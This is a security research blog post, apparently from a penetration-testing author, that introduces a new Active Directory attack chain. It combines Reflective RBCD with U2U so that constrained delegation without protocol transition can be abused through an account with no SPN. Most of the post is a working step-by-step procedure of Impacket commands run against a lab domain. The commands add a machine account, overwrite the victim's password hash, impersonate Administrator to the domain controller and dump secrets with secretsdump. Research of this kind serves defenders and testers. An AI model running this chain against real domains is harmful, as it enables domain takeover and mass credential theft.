--- title: "Abusing Constrained Delegation without Protocol Transition against SPN-less accounts" slug: abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts url: https://listedarticles.com/articles/abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts canonical_url: https://hunio.org/security/abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts/ content_type: research language: en published_at: 2026-09-22T00:00:00.000Z updated_at: 2026-10-29T17:13:47.979Z authored_by: human publisher: "hunio.org" publisher_url: https://hunio.org/ topics: ["Cybersecurity", "Active Directory", "Kerberos"] license: all-rights-reserved word_count: 1223 reading_minutes: 5 citation: "hunio.org. \"Abusing Constrained Delegation without Protocol Transition against SPN-less accounts.\" 22 Sept 2026. https://hunio.org/security/abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts/ (all-rights-reserved)" # The full text follows. The web page shows an extract and sends readers # to the source above; quote the citation and link the canonical URL. --- # Abusing Constrained Delegation without Protocol Transition against SPN-less accounts > A security write-up from hunio.org introducing a new Kerberos delegation abuse path in Active Directory: by combining Elad Shamir's Reflective RBCD technique, James Forshaw's U2U sacrificial-user technique and an Impacket extension, constrained delegation without protocol transition can be abused even when only SPN-less user accounts are available, with step-by-step commands and references. *hunio.org · 22 Sep 2026* # Abusing Constrained Delegation without Protocol Transition against SPN-less accounts ## TL;DR This blogpost introduces a new path for abusing Kerberos delegation! By combining Elad Shamir’s [Reflective RBCD](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#a-forwardable-result) technique, James Forshaw’s [U2U sacrificial user](https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html) technique, and extending [Impacket](https://github.com/fortra/impacket/pull/2324) to support S4U2Proxy with U2U, we can now obtain the forwardable ticket required for Constrained Delegation *without* Protocol Transition when the account trusted for delegation has no SPN. However, like the sacrificial path Forshaw discovered, this also requires RC4 to be permitted in the domain, destroys the affected user account, and requires MAQ to be enabled in the domain (or for something with an SPN to already be compromised). ## Standing on the Shoulders of Giants ### Constrained Delegation There are two forms of Constrained Delegation in Kerberos: - **With Protocol Transition:** Allows a service to impersonate a user without requiring them to authenticate first. To achieve impersonation without authentication, Microsoft introduced S4U2Self to produce tickets that can be used with a subsequent S4U2Proxy. - **Without Protocol Transition:** The service cannot produce forwardable tickets on its own using S4U2Self. Instead, an S4U2Proxy can only be performed if the service trusted for delegation already has a forwardable ticket as the user to impersonate. ### Reflective Resource-Based Constrained Delegation Any user or machine in a domain, by default, can write their own `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute, configuring Resource-Based Constrained Delegation (RBCD) on themselves. RBCD follows the same S4U mechanics as Constrained Delegation with Protocol Transition, but the service decides who may delegate to it rather than the domain. When abusing Constrained Delegation without Protocol Transition, Elad Shamir discovered that an attacker can configure RBCD on a compromised resource to trust a MAQ-added machine (or anything with an SPN), then use S4U2Proxy to [produce a forwardable service ticket as an elevated user](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#a-forwardable-result). This ticket can then be used as evidence in a second S4U2Proxy against the original service the compromised resource is allowed to delegate to. This chaining of delegation to produce and use a forwardable service ticket is called **Reflective Resource-Based Constrained Delegation**. It visually looks something like this: ![Pasted image 20261008131954.png](https://hunio.org/images/Pasted%20image%2020261008131954.png) ### Abusing Delegation with SPN-less Accounts If an account trusted for delegation does not have an SPN, it is still possible to produce tickets through an alternative means called User-to-User (U2U) authentication. When U2U is in use, instead of encrypting tickets with the passwords of services, the KDC encrypts tickets with a TGT session key which enables ticket generation to resources without SPNs. When abusing Constrained Delegation with Protocol Transition, James Forshaw discovered that, [if you changed a user’s password hash to that of its TGT session key](https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html), you can successfully generate an impersonated ticket and pivot through delegation. However, this tactic subsequently destroys the user, as their credentials will no longer be valid. ### The Methodology Gap With current research, we can use Reflective RBCD to abuse Constrained Delegation without Protocol Transition, but this requires SPNs to work. We also have means of abusing Constrained Delegation against SPN-less accounts, but this only applies to the variant *with* Protocol Transition. This blogpost introduces a new path, opening a means of abusing Constrained Delegation without Protocol Transition against SPN-less accounts by combining Reflective RBCD with U2U. Just like the other tactics, the following prerequisites are required: - Domain permits RC4 encryption - Machine Account Quota (MAQ) is enabled - Resource without an SPN can configure RBCD This also destroys the user trusted for delegation. ## Abusing Constrained Delegation without Protocol Transition against SPN-less accounts Assume we’ve compromised the user `LAMB` with the password `Password1!`, which is allowed to delegate to `host/DC01.secure.local` via Constrained Delegation without Protocol Transition. However, `LAMB` does not have an SPN configured. To successfully pivot to `DC01` via delegation, we need to combine the work of Elad Shamir and James Forshaw: 1. Request TGT and extract TGT session key for `LAMB`. 2. Add a new computer to the domain via Machine Account Quota (MAQ). 3. Configure RBCD on `LAMB` so it trusts the added machine for delegation. 4. Change `LAMB`’s password hash to its TGT session key. 5. Perform an S4U2Proxy with U2U to produce a forwardable service ticket as an elevated user. 6. Pass that forwardable ticket (with an additional S4U2Proxy) to the service the compromised resource is allowed to delegate to. ![Pasted image 20261008144129.png](https://hunio.org/images/Pasted%20image%2020261008144129.png) **Step 1: Get LAMB’s TGT and extract the session key** ``` getTGT.py -hashes :$(pypykatz crypto nt 'Password1!') 'secure.local/LAMB' -dc-ip 10.0.1.40 describeTicket.py ./LAMB.ccache | grep "Ticket Session Key" ``` ![Pasted image 20260929194849.png](https://hunio.org/images/Pasted%20image%2020260929194849.png) Here, our session key is `b4758bcc4845a2bd4860eb5e8c3f5d12`. **Step 2: Create a helper machine account via MAQ** ``` addcomputer.py -computer-name 'LAMBPC$' -computer-pass 'Password123!' -dc-ip 10.0.1.40 'secure.local/LAMB:Password1!' ``` ![Pasted image 20260929194920.png](https://hunio.org/images/Pasted%20image%2020260929194920.png) **Step 3: Configure LAMB to trust LAMBPC$ for delegation** ``` rbcd.py -delegate-from 'LAMBPC$' -delegate-to 'LAMB' -dc-ip 10.0.1.40 -action 'write' 'secure.local/LAMB:Password1!' ``` ![Pasted image 20260929194951.png](https://hunio.org/images/Pasted%20image%2020260929194951.png) **Step 4: Sacrifice LAMB** ``` changepasswd.py -newhashes ':b4758bcc4845a2bd4860eb5e8c3f5d12' 'secure.local/LAMB:Password1!'@10.0.1.40 ``` ![Pasted image 20260929195031.png](https://hunio.org/images/Pasted%20image%2020260929195031.png) **Step 5: U2U+RBCD S4U2Proxy (Novel Step)** ``` getST.py -u2u -impersonate 'Administrator' -nospn 'LAMB' -tgt './LAMB.ccache' -dc-ip 10.0.1.40 'secure.local/LAMBPC$:Password123!' ``` ![Pasted image 20260929195139.png](https://hunio.org/images/Pasted%20image%2020260929195139.png) **Step 6: S4U2Proxy** ``` export KRB5CCNAME=./LAMB.ccache getST.py -impersonate 'Administrator' -spn 'host/DC01.secure.local' -additional-ticket './Administrator@[email protected]' -k -no-pass -dc-ip 10.0.1.40 'secure.local/LAMB' ``` ![Pasted image 20260929195238.png](https://hunio.org/images/Pasted%20image%2020260929195238.png) **Step 7: Profit!** ``` export KRB5CCNAME=./Administrator@[email protected] secretsdump.py -k DC01.secure.local ``` ![Pasted image 20260929195334.png](https://hunio.org/images/Pasted%20image%2020260929195334.png) The full chain looks like this: ![Pasted image 20261008133925.png](https://hunio.org/images/Pasted%20image%2020261008133925.png) ## Performing an S4U2Proxy with U2U The novel step happens during reflective RBCD when you perform the first S4U2Proxy to obtain a forwardable ticket. When working on this, I was trying to perform an S4U2Proxy with U2U since `LAMB` has no SPN. This is a valid thing to do with Kerberos, it’s just that Impacket didn’t support this specific functionality. To get an S4U2Proxy with U2U working, the following modifications to [getST.py](https://github.com/fortra/impacket/pull/2324) were made: **1.** In `PA-PAC-OPTIONS`, set the `resource_based_constrained_delegation` flag to `True`. Without this set, the KDC returned `KDC_ERR_BADOPTION`. ![Pasted image 20260930171902.png](https://hunio.org/images/Pasted%20image%2020260930171902.png) **2.** In `kdc-options`, set the `enc-tkt-in-skey` flag to `True`. This tells the KDC to encrypt its response ticket with a TGT session key instead. ![Pasted image 20260930172008.png](https://hunio.org/images/Pasted%20image%2020260930172008.png) **3.** In `sname`, set `name-type` to `kRB5-NT-UNKNOWN` and specify the target user in `SNameString`. This sets the service name to `LAMB`, our target user without an SPN. ![Pasted image 20260930171802.png](https://hunio.org/images/Pasted%20image%2020260930171802.png) **4.** A traditional S4U2Proxy request will send an evidence ticket to the KDC, but since we are using U2U, we also need to supply a TGT for the KDC to extract the session key from. The first ticket is our TGT for `LAMB`, and the second is the `Administrator` evidence ticket produced by S4U2Self. ![Pasted image 20260930171613.png](https://hunio.org/images/Pasted%20image%2020260930171613.png) With that, we can now successfully use S4U2Proxy with U2U to generate a forwardable ticket to a resource without an SPN! :D ## Conclusion Without the amazing research done by those who have come before, there’s no way I would have discovered this path. By combining Elad Shamir’s Reflective RBCD with James Forshaw’s U2U sacrificial user trick, we can now abuse Constrained Delegation without Protocol Transition against SPN-less accounts. This is not a new vulnerability in Kerberos, but rather a new set of steps to successfully exploit a configuration that has seemingly never been done before. This blogpost was also uploaded to [Sprocket Security](https://www.sprocketsecurity.com/blog/abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts)! ## References - - - - - - - --- *Originally published at [hunio.org](https://hunio.org/security/abusing-constrained-delegation-without-protocol-transition-against-spn-less-accounts/).*